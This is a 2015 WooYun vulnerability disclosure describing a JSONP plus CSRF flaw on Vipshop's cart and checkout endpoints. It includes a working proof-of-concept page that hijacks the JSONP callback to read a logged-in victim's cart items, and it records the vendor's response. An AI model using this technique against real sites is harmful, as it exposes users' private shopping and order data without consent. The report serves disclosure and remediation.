当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0122755

漏洞标题:唯品会某处JSONP+CSRF泄露重要信息

相关厂商:唯品会

漏洞作者: Friday

提交时间:2015-06-26 09:29

修复时间:2015-06-26 11:20

公开时间:2015-06-26 11:20

漏洞类型:CSRF

危害等级:高

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-26: 细节已通知厂商并且等待厂商处理中
2015-06-26: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

唯品会某处JSONP+CSRF泄露重要信息

详细说明:

不想复习啊,随手测一测~~~
存在漏洞的地址:
http://cart.vip.com/te2/cart.php?callback=callback&isGetLast=1
http://checkout.vip.com/app/getUnpayOrder.php?callback=callback
其他的应该还有,但这两个足够分量了:第一个是购物车的商品数及商品详细信息,第二个是下了订单的订单编号以及订单数量。

漏洞证明:

测试代码:

<meta charset="utf-8">
正在请求,请耐心等待... ...
</table>
<script type="text/javascript">
window.callback=function(e){
if(e['result'] == -1){
alert("屌丝,你还没登录唯品会");
return 0
}
if(e['cartInfo']['has_goods_left']){
alert("购物车中有 " + e['cartList']['count'] + " 件商品~");
}
var str = '<table border=1>'
for(i=0;i<e['cartList']['count'];i++){
str += "<tr><td><img src='"+e['cartList']['items'][i]['img']+"/"+e['cartList']['items'][i]['img_pre']+"-5.jpg'></td><td>"+e['cartList']['items'][i]['brand_name']+"</td><td>"+e['cartList']['items'][i]['name']+"</td><td>"+e['cartList']['items'][i]['sum_price']+"</td></tr>"
}
str += '</table>'
document.write(str)
}

</script>
<script src="http://cart.vip.com/te2/cart.php?callback=callback&isGetLast=1"></script>


如果购物车中有商品:

QQ图片20150625203720.png


测试链接:
http://friday.sinaapp.com/vip.html

修复方案:

添加token或者判断refer或者其他防止csrf的黑科技
听说你们要建立VSRC了,恭喜!求礼物!

版权声明:转载请注明来源 Friday@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-26 11:20

厂商回复:

漏洞确实存在,但对用户影响较小,谢谢您对唯品会信息安全的支持。

最新状态:

暂无